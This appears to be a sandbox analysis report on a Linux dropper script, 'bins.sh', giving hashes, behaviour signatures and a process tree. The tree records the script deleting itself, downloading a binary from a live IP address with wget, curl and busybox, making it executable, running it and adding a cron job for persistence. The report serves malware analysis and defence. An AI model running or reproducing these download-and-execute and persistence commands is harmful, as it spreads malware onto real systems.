Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 20:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    18c8a9d32ba1e84855d6f45dc1809684

  • SHA1

    10acde0ea2f8624ea35e19019dd2e141a7427943

  • SHA256

    a7ed1eb5952b365460201c73b32d87295f8d2b0faf69864665431fe40e4f98de

  • SHA512

    7508da5702a2e6c3bfb4f3a54995a22993bc56a91744323840f0a717aeae59518f735e6a46577537aa6bf7cfe359a54e7572f1e5cfd15e7949e4aa7c3bf13e45

  • SSDEEP

    192:S8iqwUP2ksXooyFRfrM4qFlUFP+iqGooyFRxM4qFlVX:S8iqwUuksqNrM4qFlUF2iqj/M4qFlVX

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod 777 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          ./3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:677
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:679
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:680
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:681
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:682
              • /bin/rm
                rm 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
                2⤵
                  PID:689
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
                  2⤵
                    PID:693

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq

                  Filesize

                  141KB

                  MD5

                  3ca8decdb1e52c423c521bfff02ac200

                  SHA1

                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                  SHA256

                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                  SHA512

                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                • /var/spool/cron/crontabs/tmp.9EYcyv

                  Filesize

                  210B

                  MD5

                  bd9a8505c58b49d6299160e17f22f3ff

                  SHA1

                  6290aa46797cc7d6ff266a4bf509f33ebe0cd53f

                  SHA256

                  3599d35a03e52935449ee5f7b4401adb92dc0cd09f007a982d8fc7e43a8ce6a1

                  SHA512

                  df99c205cc2897251e4e33d4644e069f4f4c514edf5c1f245103e1dae4dda10118619193ac3a668fad692114b0fe47c6bd4236028020c13999c8c1ee24958b49